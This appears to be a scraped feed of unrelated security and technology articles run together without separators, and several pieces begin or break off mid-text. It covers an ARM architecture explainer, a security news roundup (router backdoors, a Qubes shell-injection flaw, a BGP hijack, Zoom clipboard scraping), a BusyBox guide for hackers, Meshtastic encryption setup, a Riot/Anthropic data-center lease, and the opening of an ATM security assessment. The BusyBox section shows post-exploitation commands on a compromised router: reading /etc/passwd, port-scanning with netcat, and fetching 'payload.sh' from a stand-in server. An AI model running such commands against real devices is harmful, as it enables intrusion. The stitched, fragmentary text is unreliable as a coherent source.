A newly observed IoT malware family dubbed KATARU targets internet-exposed devices through Telnet credential brute-forcing, then attempts to gain root privileges with publicly available Linux kernel exploits before enrolling compromised systems in a DDoS botnet. The sample combines familiar Mirai-style flooding functions with encrypted command-and-control, broad persistence logic, anti-analysis checks and decoy network activity designed […]
The modern digital ecosystem has undergone a silent but total transformation. Every day, we interact with ARM-based processors billions of times. These chips drive almost all iOS and Android devices and are key to the significant performance improvements seen in Apple’s M-series Macs. Some lightweight notebooks, such as Chromebooks, use ARM processors. IoT devices are largely powered by ARM. Besides that, recently ARM expanded into silicon production with the Arm AGI CPU, its first production-ready silicon designed for agentic AI workloads in data centers. With this level of ubiquity in our digital world, it’s important to be familiar with ARM.
Therefore, this article serves as a foundation for learning about ARM. It delves into the architecture of ARM CPUs, covering design principles and energy efficiency. Let’s get rolling!
What is ARM?
ARM is a family of CPU designs based on a simple, efficient instruction set (RISC). It started as ‘Acorn RISC Machine’, then ‘Advanced RISC Machines’, and now it’s just called ARM.
Unlike traditional chipmakers, Arm Holdings does not manufacture physical processors. Instead, the company designs the foundational CPU architecture and licenses its intellectual property and processor cores to other hardware manufacturers (such as Apple and Nvidia).
What is an ARM-Based CPU?
ARM CPUs use a simple, efficient RISC instruction set. RISC stands for Reduced Instruction Set Computer. It represents a hardware design philosophy focused on streamlining how a processor interprets and executes software instructions.
This design philosophy stands in direct contrast to CISC (Complex Instruction Set Computer), which is the architecture utilized by traditional Intel and AMD x86 processors.
The RISC concept originated in the early 1980s, heavily influenced by research at the University of California, Berkeley. Researchers evaluating resource usage discovered that most software programs only utilized a small fraction of a processor’s complex, built-in instruction set. They realized that if they removed the highly complex, rarely used, and difficult-to-implement instructions, the remaining simpler instructions could execute much faster, while requiring significantly less physical space and power on the silicon chip. This discovery led directly to the development of early RISC designs, including the foundational Acorn RISC Machine (ARM) project in 1983.
Core Principles of RISC Design
RISC architectures use a fixed instruction width for high-speed execution. Unlike CISC architectures that have instructions of varying lengths, a modern 64-bit RISC architecture like ARM64 uses a uniform instruction size, typically 32 bits. This consistency makes it easier for the processor to identify where one instruction ends and the next starts, which helps in quickly fetching, decoding, and executing instructions.
A key feature of RISC design is its Load-Store architecture. In traditional CISC, a single instruction might perform operations directly on data in memory. In RISC, memory access and calculations are separate. In a RISC CPU, Arithmetic Logic Unit (ALU) operations only happen between registers, which are small, fast storage spaces on the processor. To work with data from memory, the processor has to first load it from RAM into a register, perform the calculation in the register, and then store the result back to memory.
To meet the needs of this Load-Store model, RISC processors have a large, uniform register file. Since data cannot be processed directly in memory, the CPU needs many registers to keep temporary data readily available. A 64-bit RISC processor usually has 31 general-purpose 64-bit registers that act as a quick local workspace.
The clear and register-focused design leads to mostly single-cycle execution and effective hardware pipelining. Because RISC instructions are straightforward and mainly work with registers, most can finish in one clock cycle. This single-cycle capability enables the processor to use an instruction pipeline. In this system, while one instruction is executed, another is decoded, and a third is fetched from memory simultaneously. This overlap helps the processor complete a new instruction nearly every clock tick, maximizing efficiency.
Feature / Approach
CISC (e.g., x86)
RISC (e.g., ARM)
Instruction complexity
Single instructions perform multiple tasks (data manipulation, memory access, arithmetic)
Breaks tasks into multiple simpler instructions
Execution example
One instruction: load → compute → store
Three separate instructions: load → compute → store
Decoding logic
Intricate and complex
Simpler, more uniform
Clock cycles per instruction
Often multiple cycles
Usually one cycle per simple instruction
Hardware requirements
Substantial hardware for decoding and execution management
Less hardware for decoding, more uniform control logic
Power & design impact
Higher power consumption and design complexity
Lower power consumption, simpler design
Optimization
Harder to optimize individual operations
Easier to optimize each step independently
Parallel execution
More difficult
Easier to achieve
Energy Efficiency
Firstly, at the core of the RISC philosophy is the use of a smaller vocabulary of simpler, fixed-length instructions. Because the CPU does not have to parse highly complex, variable-length instructions, the physical hardware required to decode and execute instructions is dramatically simplified. This simplicity results in a vastly reduced transistor count. For example, early ARM cores required only 30,000 to 35,000 transistors. Fewer transistors mean that fewer components are active during each instruction cycle, which directly lowers dynamic power consumption and dynamic leakage.
Secondly, RISC processors are designed to scale their power draw dynamically based on the active workload. Through techniques like Dynamic Voltage and Frequency Scaling (DVFS), the processor automatically lowers its operating voltage and clock speed during periods of low computational demand, conserving energy when peak performance is unnecessary. For example, microcontroller-class processors like the ARM Cortex-M series are engineered to draw almost zero power when in deep sleep states, yet they can wake up and execute tasks rapidly on demand.
Thirdly, on a system-on-chip level, modern RISC implementations leverage heterogeneous processing, such as Arm big.LITTLE and DynamIQ technologies. Instead of running all tasks on identical, power-hungry cores, the processor combines:
LITTLE cores: Tiny, ultra-efficient cores optimized to handle routine, low-intensity background tasks (like texting, email, or playing music) using minimal power.
big cores: High-performance cores designed to tackle heavy, sustained workloads (like mobile gaming or intense web browsing).
This dynamic, on-demand task allocation ensures that the high-power “big” cores are only activated when strictly necessary, maximizing overall battery life.
Apple M-series Chips
The Apple M-series chips are a group of processors made by Apple Inc. They are designed for efficient performance and are based on ARM architecture. Each chip includes a CPU, GPU, a Neural Engine for machine learning, and a unified memory system that helps improve overall efficiency.
Apple announced its move to its own M-series chips at the Worldwide Developers Conference (WWDC) on June 22, 2020. This change was from Intel’s x86 processors to ARM-based designs for better power efficiency and performance.
For example, the M1 chip offers up to 3.5 times faster CPU performance while consuming less power than Intel chips for certain tasks. This allows for high performance without generating too much heat.
The M-series chips also improve battery life. Devices often run up to 1.5 times longer than Intel-based Macs. This is due to their optimized power management. In real-world use, like watching videos or doing light work, the MacBook Air can last 15 to 18 hours, compared to the 11 to 12 hours typical of similar Intel models.
By 2026, devices like the Mac Studio and Mac Mini are using M-series CPUs to run advanced AI models directly on users’ desks. Many people are shifting away from paying for AI services and choosing local systems instead.
Summary
In this article, we discussed ARM, a CPU architecture based on RISC principles, which emphasizes simplicity and efficiency. We explained how ARM differs from x86/CISC (Intel/AMD), noting that its smaller instruction set uses fewer transistors and less power. Additionally, we looked at how ARM has impacted Apple’s M-series chips, showing gains in performance, heat management, and battery life, along with the shift toward handling AI tasks on ARM hardware.
CVSS rankings are determined by the severity of a flaw, the ease of exploiting the bug, if authentication is required for exploitation, if the vulnerability exposes confidential data, and other criteria. A CVSS of 10 is as bad as it gets, and having three of them at once is certainly attention-getting. Of the three vulnerabilities fixed, one allowed unauthenticated modification of data in the hosted instance, a second allowed arbitrary code execution via the GraphQL interface, and the third allowed arbitrary SQL commands that could modify the database.
ServiceNow claims Adobe, Lenovo, Fedex, and Fujitsu among their high-profile customers. With luck, the vulnerabilities were patched before significant public exploitation could happen.
Router Malware
Previously in 2026 the US Government warned against embedded malware found in consumer routers, which may be linked to the FCC enacting bans against certification and import of foreign-made consumer devices. This week, the NVD (National Vulnerability Database) reported specific embedded malware in the Zbtlink and MoreQuick brands of devices.
Multiple versions of the firmware, for multiple lines of products, contain a backdoor service that uses unencrypted UDP to connect to a command and control (C2) service. The service, or anyone able to intercept the network traffic, since it’s unencrypted, can execute commands as root, allowing them to change configurations, open tunnels, or steal ISP credentials.
The malware is baked into the firmware, so removing it is impossible for most users: a factory reset wouldn’t do. In theory if third-party firmware like OpenWRT supports these devices, the hardware could be made safer with a custom install.
Given how commonly the same device is marketed under dozens of names, likely the same devices and firmware have yet to be identified under other brands.
Qubes is built on top of the Xen virtualization system, where each application can be given a dedicated container. The utility to copy files from the primary container into an application container, qvm-copy-to-vm, displays a message if there is an error copying the file. To show the message, the utility launches kdialog with the error as arguments, but fails to ensure that the error doesn’t include shell commands.
The system call used to show the alerts has the dangerous side effect of calling the command as if it was a normal shell. This is extremely powerful, but equally risky: a shell typically allows multiple commands per lines, require quoted strings to protect arguments with spaces or complex text, and can expand variables. Generating an error that escapes out of the message and runs arbitrary commands was all it took.
Qubes already has a fix ready and everyone getting standard updates should have it waiting.
Independent researchers noticed growing reports in Reddit threads that freezer units were out of service, with other service members and families reporting the same. At least fourteen bases throughout the United States appear impacted, and the story has been picked up by the official military newspaper “Stars and Stripes” as well as by mainstream media outlets.
Posts by staff at the bases clarify that it was not a power loss or cooling loss, the fridges and freezers were placed in defrost mode where they self-heated. The commissaries are operated by the Defense Commissary Agency, with central monitoring and control of facilities. Central monitoring makes complete sense when you need to ensure devices are keeping food at a safe temperature, but something definitely seems to have gone wrong.
Diving into it further, M. Elizabeth finds a post from August 9, 2026 describing vulnerabilities in the Danfoss controllers that allow unauthorized access to the refrigeration controller, and a second paper by the same team exposing over 20 vulnerabilities in Copeland refrigeration controllers that included full control of the unit settings. M. Elizabeth is careful to point out that without confirmation from the commissary agency, it’s impossible to know for sure that this was a hack of the control system, but the evidence is mounting.
Border Gateway Protocol (BGP) is a core routing system underlying the Internet at large. Service providers use BGP to announce the ranges of IP addresses they handle and how to reach them. BGP is operated as basically a global gentleman’s agreement: the protocol itself lacks any authentication or encryption. If you think this sounds vulnerable to disruption, you’d be completely right.
Global disruptions have happened accidentally, like when an ISP in Pakistan took down YouTube, deliberately, such as when thieves hijacked the routes to cryptocurrency exchanges, and mysteriously, like when China hijacked parts of the Internet repeatedly with no explanation.
This time, the BGP attack targeted the IP range used by Virtualizor, and was combined with spoofed SSL certificates for the Virtualizor servers to push spoofed updates. The BGP announcement was targeted to a specific class C: a relatively small allocation of 253 addresses, similar to what a home network would use. BGP gives precedence to the smallest announcement for an IP range, so all systems that received the spoofed announcement routed those addresses accordingly. The network advertising the false route was based in Romania, though of course they could also be a victim.
With control over the IP range, the attackers were able to generate a certificate via Lets Encrypt, which was sufficient for browsers and the updater to accept the rerouted addresses. The attackers then published a malicious package that appears to install additional services. The company has not provided details about the trojaned update, so it’s not clear what other risks it poses.
Virtualizor does not have a public list of customers, but one has to assume it includes high-profile companies to make such an attack viable. Hijacking BGP is extremely obvious, and isn’t frequently used for such obvious spoofing attacks.
Relatively recently, some operating systems have added the ability to alert the user when an application access the clipboard. Unfortunately, Linux is not yet one of them, but thanks to other clipboard management tools, Simon noticed that the recent update to Zoom 7.1.5 copies the contents of the clipboard as soon as they change. What happens to the clipboard contents once copied is currently a mystery.
Considering that the clipboard can often contain passwords, authentication tokens, or simply data you might not want to share with Zoom, automatically scraping the contents isn’t what you’d hope for.
Plex Vulnerabilities
The Plex media streaming software sent out an advisory this week warning about security updates for the server and desktop application.
Details are currently thin, with the promise of future details once CVEs have been assigned. For now, make sure you’re on version 1.43.4 or newer. The Plex post has additional directions for updating on platforms that may not have pushed new packages yet.
CrowdStrike observed that 88% of exploits happened with 48 hours of the proof of concept code being released, crediting AI tools for shortening the adaptation. Typically proof of concept code is designed to demonstrate the vulnerability without providing an immediate mechanism for malicious use, and the window from exploit announcement to wide-spread risk was on the order of weeks. The report notes some vulnerabilities being widely exploited in 20 hours after public disclosure.
The tightening window makes patching even more important, but rapid patching caries the risk of instability when the patches themselves haven’t had extensive testing. Unfortunately there’s no simple solution; faster exploitation via AI tools drives faster patching, often also with AI tools that can introduce more bugs as well.
To be able to hack the Internet of Things(IoT), smart home, smart TV, IP camera, VPN, routers and other such devices, the more you understand of Linux, the more success you will have. Nearly all of these devices use embedded Linux with tiny small kernels. The most popular of these embedded, tiny kernel Linuxes is BusyBox.
BusyBox sees itself as the Swiss Army Knife of Embedded Linux. It is a software component that combines tiny versions of many Unix utilities into a single binary.
In this article, we’ll explore what BusyBox is, its benefits and drawbacks, and how to get started using it on Kali Linux. Let’s get rolling!
What is BusyBox?
BusyBox is a lightweight software suite that combines many common Unix utilities into a single small executable file. Rather than having separate executables for each command like ls, cp, mv and tar, BusyBox packages all these utilities into one binary. When executed, BusyBox determines which tool to run based on how it was invoked, either through symbolic links or command-line arguments.
Typically weighing in at under 1MB, BusyBox can provide implementations of over 300 Unix utilities, including file operations, text processing tools, network utilities, system administration commands, and shell functionality. While these implementations are simplified compared to their full-featured GNU counterparts, they maintain compatibility with standard Unix command syntax for most common operations.
History and Development
BusyBox was created in 1996 by Bruce Perens as part of the Debian GNU/Linux installer. The original motivation was to create a rescue disk that could fit on a single floppy disk while still providing essential Unix tools.
1.44 MB Floppy disk
The project gained significant momentum when it was adopted by embedded Linux developers who faced similar space constraints in their target devices. As embedded systems proliferated in the late 1990s and early 2000s, BusyBox became increasingly important for devices with limited flash memory and RAM.
Over the years, BusyBox has been maintained by various developers, with Erik Andersen taking over development in the early 2000s and later Denys Vlasenko becoming the primary maintainer. The project has remained active and continues to evolve, with regular updates that add new utilities, improve compatibility, and enhance performance.
The development philosophy has remained consistent throughout its history: provide maximum functionality with minimum resource usage while maintaining reasonable compatibility with standard Unix tools.
Benefits and Advantages
BusyBox offers several compelling advantages that have made it a cornerstone of embedded Linux systems:
Space Efficiency: The most obvious benefit is BusyBox’s incredibly small footprint. By sharing code between utilities and eliminating redundant functionality, it achieves dramatic space savings compared to installing individual tools separately. A typical BusyBox installation might occupy less than 1MB while providing functionality equivalent to tens of megabytes of traditional utilities.
Memory Optimization: Beyond storage savings, BusyBox also conserves RAM by sharing common code paths between utilities. This is particularly valuable in embedded systems where memory is often severely constrained.
Simplified Deployment: Having all essential utilities in a single binary simplifies system deployment and reduces the complexity of dependency management. This is especially valuable in embedded systems where minimizing the number of moving parts is crucial for reliability.
Consistent Behavior: While individual GNU utilities may have different compilation options or versions across systems, BusyBox provides consistent behavior across deployments, which can reduce compatibility issues.
Customizability: BusyBox can be configured to include only the specific utilities needed for a particular application, allowing for even greater space optimization. This modular approach lets developers create highly specialized systems.
Performance: For many common operations, BusyBox utilities can actually outperform their full-featured counterparts due to their streamlined implementations and reduced overhead.
Why Hackers Should Care?
Portability: BusyBox works on almost any Linux or Unix-like system.
Minimal Footprint: Perfect for custom hacking distros, bootable USBs, or CTFs.
Essential for Embedded Targets: Many IoT devices and routers run BusyBox by default—knowing it helps you exploit or secure them
Stealth: BusyBox can be statically compiled and dropped onto a target for post-exploitation, giving you a full set of tools even on stripped-down systems.
Where BusyBox is Used
Domain
Examples / Usage
Embedded Systems
Used in router firmware, smart TVs, automotive infotainment, and industrial control systems. Brands: Linksys, Netgear, D-Link.
Container Environments
Alpine Linux (used in Docker containers) uses BusyBox as the default CLI toolkit to reduce image size and resource usage.
IoT Devices
Incorporated into low-power Internet of Things devices to provide essential system functions with minimal resource usage.
Recovery & Rescue Systems
Used in Linux rescue disks and recovery tools to offer a full Unix environment in limited space. Continues the legacy from the Debian installer.
Mobile Devices
Found in Android recovery mode and mobile Linux distributions for maintenance and emergency operations.
Educational Systems
Used on devices like the Raspberry Pi in educational environments for its simplicity and low resource footprint.
Essential BusyBox Commands for Hackers
Here’s a quick reference to some of the most useful BusyBox applets for hacking and pentesting
Command
Purpose
ls
List files and directories
cp
Copy files
mv
Move/rename files
rm
Remove files
cat
View file contents
grep
Search for patterns in files
awk
Pattern scanning and processing
sed
Stream editor for filtering and transforming text
vi
Text editor
wget
Download files from the web
nc
Netcat for networking
ifconfig
Configure network interfaces
ps
List running processes
kill
Send signals to processes
sh
Shell (ash)
Getting Started with BusyBox on Kali Linux
First, verify that BusyBox is installed on your Kali system:
kali> busybox –help
BusyBox can be invoked in several ways. The most straightforward method is to call it directly with the desired utility as an argument:
kali> busybox ps aux
To see all utilities available in your BusyBox installation:
kali> busybox –list
In hacking/penetration testing scenarios, BusyBox utilities can be particularly useful:
Network reconnaissance: Use busybox nslookup or busybox ping for basic network discovery
File operations: busybox find, busybox grep, and busybox awk for log analysis and file searching
System analysis: busybox ps, busybox netstat, and busybox top for system monitoring
Text processing: busybox sed and busybox cut for parsing command output
Security Considerations and Notable Attacks
While BusyBox itself is generally well-maintained and secure, its widespread deployment in embedded systems has made it a target for various security concerns:
Firmware Vulnerabilities: Many security incidents involving BusyBox have actually been related to vulnerabilities in the surrounding firmware or system configuration rather than BusyBox itself. However, because BusyBox is so commonly used in embedded devices, it often becomes part of the attack surface.
IoT Botnets: Several large-scale IoT botnets, including variants of Mirai, have targeted devices running BusyBox. These attacks typically exploit weak default credentials or unpatched vulnerabilities in the broader system rather than BusyBox-specific flaws.
Supply Chain Concerns: Because BusyBox is embedded in so many devices, vulnerabilities in BusyBox can have far-reaching consequences.
Configuration Issues: Many security problems arise from mis-configurations or the inclusion of unnecessary utilities that expand the attack surface. The modular nature of BusyBox, while beneficial for customization, requires careful consideration of which utilities to include.
The embedded nature of many BusyBox deployments can make security updates challenging, as end users often cannot easily update the firmware on their devices. This has led to situations where known vulnerabilities persist in deployed devices long after fixes are available.
Real-World Example
Suppose you’ve gained shell access on a router that runs BusyBox. Here’s how you might use it to enumerate the system and pivot further, you could;
bash# List users
busybox cat /etc/passwd
# Check network interfaces
busybox ifconfig
# Scan for open ports (if netcat is available)
busybox nc -zv 127.0.0.1 1-1024
# Download a script or tool
busybox wget http://yourserver/payload.sh
# Get a shell
busybox sh
Summary
As computing continues to diversify into edge devices, IoT systems, and resource-constrained environments, BusyBox remains as relevant as ever. Its combination of small size, comprehensive functionality, and proven reliability ensures its continued importance in the embedded Linux ecosystem.
If you’re curious about how tools like BusyBox power the tech world and want to learn Linux yourself, now’s a great time to begin. Take a look at our Linux Basics for Hackers Bundle — it’s a practical, beginner-friendly way to learn Linux.
More than 100 U.S. water systems faced cyberattacks in July, with exposed PLCs and cellular modems giving hackers access to some utility controls and operations, CISA has now revealed.
Your messages travel through the mesh network, jumping from device to device, and might stay unencrypted. You need to understand how Meshtastic encryption works and how to set it up correctly, because a poorly configured mesh network can expose your communications to anyone with a compatible radio and basic technical knowledge.
In this article, we will explore the encryption options that Meshtastic provides for group communication and direct messages. Let’s get rolling!
Step #1: Setting Up Your Hardware with the Android Meshtastic App
In this demonstration, I will use the LilyGo T-Echo device and LilyGo T3 V1.6.1 (often labeled T-LoRa V2 1.6). However, you can use any other Metastatic-compatible device. Just make sure your device is running firmware version 2.5.0 or later to use the improved security features. When you connect the device to the Meshtastic app, the firmware version will be displayed.
Step #2: Configuring Pre-Shared Keys for Chat Channels
Chat Channels represent the primary method of group communication in Meshtastic networks. Each channel uses a Pre-Shared Key (PSK) that all participants must possess to participate in the conversation. The PSK serves as the encryption key (specifically AES256-CTR), while the channel is identified by a hash derived from both the PSK and the channel name. This means only devices with the correct PSK can decrypt messages sent on that channel, though it’s important to understand that the encrypted packets themselves are still broadcast over the radio and visible to anyone in range; they just can’t decrypt them without the PSK.
The default channel on a fresh Meshtastic installation (typically called “LongFast”) uses a well-known PSK (AQ==, which is simply a single null byte) that provides no real security whatsoever. Anyone with a Meshtastic device can receive and decrypt messages sent on the default channel, making it suitable only for public announcements or testing purposes. For any sensitive communications, you must configure custom channels with randomly generated PSKs that are shared only with trusted participants.
To create a secure channel, we need to open Settings and then the Channels section. At the bottom-right corner, you’ll see a plus sign, click on it, and you’ll see a screen like below.
Here, you need to specify a Channel name; in my case, it’ll be just “Secure”. Immediately after entering the name, the app will generate a random PSK automatically. That’s all, click Save.
You’ll be returned to the Channels settings, and click on Send. Now, the channel is ready, and the only thing we need to do is share this channel configuration with other participants who should have access. The easiest method is to generate a QR code that other users can scan with their Meshtastic apps to automatically configure the same channel settings, including the PSK.
To do so, change the tab to Conversations and click on the QR-Code icon; you’ll see a window like below.
Now, any messages you send on this channel will be encrypted with AES256 using that channel’s PSK, and only devices with the correct PSK will be able to decrypt and read them.
Remember: while your messages are encrypted, the radio transmissions are still broadcast publicly. Encryption prevents eavesdroppers from reading the content, but doesn’t hide the fact that communication is occurring.
Step #3: Public Key Cryptography for Direct Messages
Direct Messages in Meshtastic firmware version 2.5.0 and later utilize Public Key Cryptography (PKC) to provide authenticated and encrypted one-to-one communications between devices. Unlike channel communications, where all participants share the same password (PSK), Direct Messages use a more sophisticated system where each device has its own unique public and private key pair based on Curve25519 and Ed25519 cryptography.
When you send a Direct Message to another device, Meshtastic uses a hybrid encryption approach for efficiency:
A random AES session key is generated for that specific message
Your message is encrypted using that session key with AES
The session key itself is encrypted using Curve25519 key agreement with the recipient’s public key
The message is digitally signed using your Ed25519 private key
Source: https://meshtastic.org/
This ensures that only the recipient with the corresponding private key can decrypt the session key (and thus the message), providing confidentiality. The digital signature allows the recipient to verify that the message actually came from you and has not been tampered with in transit, providing authentication.
Important note: While the message content is encrypted, metadata such as sender ID, recipient ID, and timestamps remain visible to anyone monitoring the radio network. This is inherent to how mesh routing works.
The good news is that enabling Public Key Cryptography for Direct Messages requires almost no configuration on your part when using the Android app! In firmware version 2.5.0 and later, the device automatically generates its key pair when you first power it on with the updated firmware, and keys are automatically exchanged with other devices as needed through the mesh network.
Summary
In this article, we covered Pre-Shared Keys for securing group chat channels and Public Key Cryptography for protecting Direct Messages on your Meshtastic device. By implementing these encryption mechanisms, you can achieve decentralized communications where message content is protected from eavesdropping and tampering.
Riot Platforms has signed a long-term data center lease agreement tied to Anthropic, giving the Bitcoin miner another route into AI and high-performance computing as miners continue looking beyond block rewards.
The company’s filing describes a 20-year lease agreement for 191 megawatts of critical IT capacity at its Rockdale campus. The deal carries total revenue potential of up to $16.1 billion if extension options are exercised.
That is a huge number, but it needs careful framing.
This does not mean Riot is abandoning Bitcoin mining. It means the company is using its power portfolio and data-center footprint to diversify into AI compute, a strategy more miners are exploring as energy assets become valuable beyond crypto.
For more details, visit the official Sec platform.
TL;DR
Riot signed a 20-year data center lease agreement tied to Anthropic.
The agreement covers 191 MW of critical IT capacity at Rockdale.
Total revenue potential could reach $16.1 billion if extension options are used.
Why AI Compute Appeals To Bitcoin Miners
Bitcoin miners are energy infrastructure companies as much as crypto companies.
They own or lease power capacity, operate large facilities, manage cooling, negotiate grid relationships, and build data-center environments. Those skills overlap with AI and high-performance computing, even if the hardware and customer base are different.
AI companies need power. They need data centers. They need long-term capacity.
Miners already have some of the hardest pieces in place.
That is why the sector has spent the last few years exploring whether mining sites can be repurposed or expanded for AI workloads.
Rockdale Gives Riot A Strategic Asset
Riot’s Rockdale campus has long been one of its key infrastructure assets.
A 191 MW lease tied to critical IT capacity shows how valuable that infrastructure can be when pointed at AI demand. Unlike Bitcoin mining, where revenue depends heavily on BTC price, network difficulty, block rewards, and fees, long-term compute leases can create more predictable contracted revenue.
That predictability is attractive.
Bitcoin mining is cyclical. AI compute demand is currently intense. A miner that can serve both markets may be better positioned than one relying on mining alone.
The risk is execution. AI data-center customers require different standards, capital expenditure, service-level expectations, and operational reliability.
This Is Diversification, Not A Full Exit
The market should avoid overreacting in either direction.
This is not proof that Bitcoin mining is dead. It is also not a guarantee that every miner can become an AI data-center company. Power access gives miners a head start, but AI infrastructure is not just mining with different machines.
Customers like Anthropic need high reliability, networking, cooling, uptime commitments, and specialized buildouts.
Still, Riot’s agreement shows that the mining industry’s power assets have optionality. In a world where AI companies are desperate for energy and capacity, miners may have more leverage than the market once assumed.
The Revenue Potential Is Conditional
The headline revenue potential of up to $16.1 billion is striking, but investors need to remember the “if.”
That figure depends on extension options and long-term execution. It should not be treated as immediate guaranteed revenue. The base lease, customer demand, buildout milestones, and future options all matter.
Long-term contracted capacity can be valuable, but the value unfolds over time.
For investors, the key questions are capital cost, margin profile, timing, counterparty obligations, and how the AI business sits alongside Riot’s mining operations.
Bitcoin Mining Is Becoming Power Monetization
The larger shift is that miners are starting to think less like pure BTC producers and more like power monetization platforms.
Sometimes the best use of power is mining Bitcoin. Sometimes it may be AI compute. Sometimes it may be grid services, hosting, curtailment programs, or hybrid models.
That flexibility could reshape the sector.
Miners with strong power assets may be valued differently from those with only machines and thin margins. Riot’s Anthropic-linked lease points in that direction.
Bitcoin mining remains part of the story. AI compute is becoming another chapter.
This article is based on Riot Platforms’ August 2026 corporate filing and data-center lease disclosure.
This article was written by the News Desk and edited by Samuel Rae.
This report is based on information released by Sec. at Sec
Cisco Talos found hackers using simple authorization claims to bypass AI guardrails, build DDoS attack tools, steal credentials and access live camera services.
Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security.
This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.
Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.
With that out of the way, let’s start with where ATMs came from.
The History of ATMs
London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card.
Source: Barclays Bank
Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.
Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.
Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.
What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.
Screenshot of the troubleshooting guide for Cutlet Maker. The author describes the ATM’s USB port location, along with advice on how to devise a stick for attaching the USB cable and accessing the internal USB port. Source: TrendMicro
Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.
Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.
Brief Attack Statistics
The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.
Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.
None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.
How an ATM Is Built
Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.
The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.
1. User Layer
From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.
Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines.
A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center.
Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.
2. OS Layer
That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.
Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.
Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.
The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.
Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.
3. Network Layer
Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.
Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well.
